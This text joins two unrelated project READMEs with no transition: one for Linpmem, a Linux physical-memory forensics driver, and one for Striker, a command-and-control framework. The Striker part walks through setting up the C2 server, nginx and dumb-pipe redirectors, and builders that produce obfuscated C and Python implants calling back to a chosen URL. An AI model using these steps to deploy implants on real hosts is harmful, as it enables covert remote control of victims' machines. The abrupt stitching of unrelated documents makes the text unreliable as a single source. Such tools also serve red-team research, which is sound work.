Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory holes, but it can also be used for normal memory dumping. Furthermore, the driver offers a variety of access modes to read physical memory, such as byte, word, dword, qword, and buffer access mode, where buffer access mode is appropriate in most standard cases. If reading requires an aligned byte/word/dword/qword read, Linpmem will do precisely that.
Currently, the Linpmem features:
Cache Control is to be added in future for support of the specialized read access modes.
At least for now, you must compile the Linpmem driver yourself. A method to load a precompiled Linpmem driver on other Linux systems is currently under work, but not finished yet. That said, compiling the Linpmem driver is not difficult, basically it's executing 'make'.
You need make
and a C compiler. (We recommend gcc, but clang should work as well).
Make sure that you have the linux-headers
installed (using whatever package manager your target linux distro has). The exact package name may vary on your distribution. A quick (distro-independent) way to check if you have the package installed:
ls -l /usr/lib/modules/`uname -r`/
That's it, you can proceed to step 2.
Foreign system: Currently, if you want to compile the driver for another system, e.g., because you want to create a memory dump but can't compile on the target, you have to download the header package directly from the package repositories of that system's Linux distribution. Double-check that the package version exactly matches the release and kernel version running on the foreign system. In case the other system is using a self-compiled kernel you have to obtain a copy of that kernel's build directory. Then, place the location of either directory in the KDIR
environment variable.
export KDIR=path/to/extracted/header/package/or/kernel/root
Compiling the driver is simple, just type:
make
This should produce linpmem.ko
in the current working directory.
You might want to check precompiler.h
before and chose whether to compile for release or debug (e.g., with debug printing). There aren't much other precompiler settings right now.
The linpmem.ko module can be loaded by using insmod path-to-linpmem.ko
, and unloaded with rmmod path-to-linpmem.ko
. (This will load the driver only for this uptime.) If you compiled for debug, also take a look at dmesg.
After loading, for talking to the driver, you need to create the device:
mknod /dev/linpmem c 42 0
If you can't talk to the driver, potentially check in dmesg log to verify that '42' was indeed the registered major:
[12827.900168] linpmem: registered chrdev with major 42
Though usually the kernel would try to really assign this number.
You can use chown
on the device to give it to your user, if you do not want to have a root console open all the time. (Or just keep using it in a root console.)
There is an example code demonstrating and explaining (in detail) how to interact with the driver. The user-space API reference can furthermore be found in ./userspace_interface/linpmem_shared.h
.
This code is important, if you want to understand how to directly interact with the driver instead of using a library. It can also be used as a short function test.
There is an (optional) basic command line interface tool to Linpmem, the pmem CLI tool. It can be found here: https://github.com/vobst/linpmem-cli. Aside from the source code, there is also a precompiled CLI tool as well as the precompiled static library and headers that can be found here (signed). Note: this is a preliminary version, be sure to check for updates, as many additions and enhancements will follow soon.
The pmem CLI tool can be used for testing the various functions of Linpmem in a (relatively) safe and convenient manner. Linpmem can also be loaded by this tool instead of using insmod/rmmod, with some extra options in future. This also has the advantage that pmem auto-creates the right device for you for immediate use. It is extremely portable and runs on any Linux system (and, in fact, has been tested even on a Linux 2.6).
$ ./pmem -h
Command-line client for the linpmem driver
Usage: pmem [OPTIONS] [COMMAND]
Commands:
insmod Load the linpmem driver
help Print this message or the help of the given subcommand(s)
Options:
-a, --address <ADDRESS> Address for physical read operations
-v, --virt-address <VIRT_ADDRESS> Translate address in target process' address space (default: current process)
-s, --size <SIZE> Size of buffer read operations
-m, --mode <MODE> Access mode for read operations [possible values: byte, word, dword, qword, buffer]
-p, --pid <PID> Target process for cr3 info and virtual-to-physical translations
--cr3 Query cr3 value of target process (default: current process)
--verbose Display debug output
-h, --help Print help (see more with '--help')
-V, --version Print version
If you want to compile the cli tool yourself, change to its directory and follow the instructions in the (cli) Readme to build it. Otherwise, just download the prebuilt program, it should work on any Linux. To load the kernel driver with the cli tool:
# pmem insmod path/to/linpmem.ko
The advantage of using the pmem tool to load the driver is that you do not have to create the device file yourself, and it will offer (on next releases) to choose who owns the linpmem device.
The pmem command line interface is only a thin wrapper around a small Rust library that exposes an API for interfacing with the driver. More advanced users can also use this library. The library is automatically compiled (as static portable library) along with the pmem cli tool when compiling from https://github.com/vobst/linpmem-cli, but also included (precompiled) here (signed). Note: this is a preliminary version, more to follow soon.
If you do not want to use the usermode library and prefer to interface with the driver directly on your own, you can find its user-space API/interface and documentation in ./userspace_interface/linpmem_shared.h
. We also provide example code in demo/test.c
that explains how to use the driver directly.
Not implemented yet.
If the system reports the following error message when loading the module, it might be because of secure boot:
$ sudo insmod linpmem.ko
insmod: ERROR: could not insert module linpmem.ko: Operation not permitted
There are different ways to still load the module. The obvious one is to disable secure boot in your UEFI settings.
If your distribution supports it, a more elegant solution would be to sign the module before using it. This can be done using the following steps (tested on Ubuntu 20.04).
$ sudo apt install mokutil
$ openssl req -new -newkey rsa:4096 -keyout mok-signing.key -out mok-signing.crt -outform DER -days 365 -nodes -subj "/CN=Some descriptive name/"
$ sudo mokutil --import mok-signing.crt
$ /usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 path/to/mok-singing/MOK.key path/to//MOK.cert path/to/linpmem.ko
After that, you should be able to load the module.
Note that from a forensic-readiness perspective, you should prepare a signed module before you need it, as the system will reboot twice during the process described above, destroying most of your volatile data in memory.
(Please report potential issues if you encounter anything.)
Linpmem, as well as Winpmem, would not exist without the work of our predecessors of the (now retired) REKALL project: https://github.com/google/rekall.
Our open source contributors:
Striker is a simple Command and Control (C2) program.
This project is under active development. Most of the features are experimental, with more to come. Expect breaking changes.
A) Agents
B) Backend / Teamserver
C) User Interface
Clone the repo;
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
The codebase is divided into 4 independent sections;
This handles all server-side logic for both operators and agents. It is a NodeJS
application made with;
express
- For the REST API.socket.io
- For Web Socket communtication.mongoose
- For connecting to MongoDB.multer
- For handling file uploads.bcrypt
- For hashing user passwords.The source code is in the backend/
directory. To setup the server;
Striker uses MongoDB as backend database to store all important data. You can install this locally on your machine using this guide for debian-based distros, or create a free one with MongoDB Atlas (A database-as-a-service platform).
$ cd backend
$ npm install
$ mkdir static
You can use this folder to host static files on the server. This should also be where your UPLOAD_LOCATION
is set to in the .env
file (more on this later), but this is not necessary. Files in this directory will be publicly accessible under the path /static/
.
.env
file;NOTE: Values between <
and >
are placeholders. Replace them with appropriate values (including the <>
). For fields that require random strings, you can generate them easily using;
$ head -c 100 /dev/urandom | sha256sum
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
Note that SSL_KEY
and SSL_CERT
are optional. If any is not defined, a plain HTTP server will be created. This helps avoid needless overhead when running the server behind an SSL-enabled reverse proxy on the same host.
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
This is the web UI used by operators. It is a single page web application written in Svelte, and the source code is in the frontend/
directory.
To setup the frontend;
$ cd frontend
$ npm install
.env
file with the variable VITE_STRIKER_API
set to the full URL of the C2 server as configured above;VITE_STRIKER_API=https://c2.striker.local
$ npm run build
The above will compile everything into a static web application in dist/
directory. You can move all the files inside into the web root of your web server, or even host it with a basic HTTP server like that of python;
$ cd dist
$ python3 -m http.server 8000
Register
button.REGISTRATION_KEY
in backend/.env
)This will create a standard user account. You will need an admin account to access some features. Your first admin account must be created manually, afterwards you can upgrade and downgrade other accounts in the Users
tab of the web UI.
To create your first admin account;
users
collection and set the admin
field of the target user to true
;There are different ways you can do this. If you have mongo
available in you CLI, you can do it using;
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})
You should get the following response if it works;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
You can now login :)
A) Dumb Pipe Redirection
A dumb pipe redirector written for Striker is available at redirector/redirector.py
. Obviously, this will only work for plain HTTP traffic, or for HTTPS when SSL verification is disabled (you can do this by enabling the INSECURE_SSL
macro in the C agent).
The following example listens on port 443
on all interfaces and forward to c2.example.org
on port 443
;
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
B) Nginx Reverse Proxy as Redirector
$ sudo apt install nginx
/etc/nginx/sites-available/striker
);Placeholders;
<domain-name>
- This is your server's FQDN, and should match the one in you SSL cert.<ssl-cert>
- The SSL cert file to use.<ssl-key>
- The SSL key file to use.<c2-server>
- The full URL of the C2 server to forward requests to.WARNING: client_max_body_size
should be as large as the size defined by MAX_UPLOAD_SIZE
in your backend/.env
file, or uploads for large files will fail.
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
$ sudo service nginx restart
Your redirector should now be up and running on port 443
, and can be tested using (assuming your FQDN is striker.local
);
$ curl https://striker.local
If it works, you should get the 404 response used by the backend, like;
{"error":"Invalid route!"}
A) The C Agent
These are the implants used by Striker. The primary agent is written in C, and is located in agent/C/
. It supports both linux and windows hosts. The linux agent depends externally on libcurl
, which you will find installed in most systems.
The windows agent does not have an external dependency. It uses wininet
for comms, which I believe is available on all windows hosts.
Assuming you're on a 64 bit host, the following will build for 64 host;
$ cd agent/C
$ mkdir bin
$ make
To build for 32 bit on 64;
$ sudo apt install gcc-multilib
$ make arch=32
The above compiles everything into the bin/
directory. You will need only two files to generate working implants;
bin/stub
- This is the agent stub that will be used as template to generate working implants.bin/builder
- This is what you will use to patch the agent stub to generate working implants.The builder accepts the following arguments;
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
Where;
<url>
- The server to report to. This should ideally be a redirector, but a direct URL to the server will also work.<auth_key>
- The authentication key to use when connecting to the C2. You can create this in the auth keys tab of the web UI.<delay>
- Delay between each callback, in seconds. This should be at least 2, depending on how noisy you want it to be.<stub>
- The stub file to read, bin/stub
in this case.<outfile>
- The output filename of the new implant.Example;
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patching...
[+] Operation completed!
You will need MinGW for this. The following will install the 32 and 64 bit dev windows environment;
$ sudo apt install mingw-w64
Build for 64 bit;
$ cd agent/C
$ mdkir bin
$ make target=win
To compile for 32 bit;
$ make target=win arch=32
This will compile everything into the bin/
directory, and you will have the builder and the stub as bin\stub.exe
and bin\builder.exe
, respectively.
B) The Python Agent
Striker also comes with a self-contained python agent (tested on python 2.7.16 and 3.7.3). This is located at agent/python/
. Only the most basic features are implemented in this agent. Useful for hosts that can't run the C agent but have python installed.
There are 2 file in this directory;
stub.py
- This is the payload stub to pass to the builder.builder.py
- This is what you'll be using to generate an implant.Usage example:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py
After following the above instructions, Striker should now be ready for use. Kindly go through the usage guide. Have fun, and happy hacking!
If you like the project, consider helping me turn coffee into code!